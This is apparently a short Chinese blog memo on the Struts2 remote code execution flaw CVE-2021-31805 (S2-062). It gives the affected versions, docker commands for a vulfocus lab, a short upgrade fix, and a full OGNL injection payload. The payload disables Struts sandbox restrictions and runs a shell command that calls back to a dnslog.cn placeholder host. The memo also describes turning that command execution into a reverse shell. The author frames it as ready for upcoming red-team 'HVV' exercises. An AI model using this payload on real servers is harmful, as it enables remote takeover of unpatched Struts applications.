最近爆出一个Struts2的RCE,这个时间点感觉近期的HVV可能用得上。记录备忘。

0x01 漏洞详情

该漏洞是由于对S2-061(CVE-2020-17530)的修复不完整,如果开发人员使用 %{xxx} 语法进行强制OGNL解析时,标签的某些属性仍然可被二次解析。当解析未经验证的用户输入时可能会导致远程代码执行。

0x02 影响范围

Struts 2.0.0 --- Struts 2.5.29

0x03 漏洞搭建

在vulfocus上有现成的docker靶场环境,直接拉取即可。也可以看看之前的文章,本地搭建vulfocus环境

docker pull vulfocus/struts2-cve_2021_31805
docker run -t -i -p 9090:8080 vulfocus/struts2-cve_2021_31805:latest

根据提示,路径是/s2_062/index.action,参数是name

0x04 漏洞利用

  1. 由于靶场环境没有回显,可以用DNSlog进行检测,payload如下(BP发包需要进行URL编码)
(#request.map=#@[email protected]{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@[email protected]{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@[email protected]{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@[email protected]{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@[email protected]{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxxxxx.dnslog.cn'}))

利用这个POC,修改成自己获取的域名即可

  1. 能命令执行当然就能反弹Shell,首先在这个网站通过Base64加密一下命令,之后同样修改POC,即可反弹shell。

0x03 漏洞修复

升级Struts2版本至2.5.29以上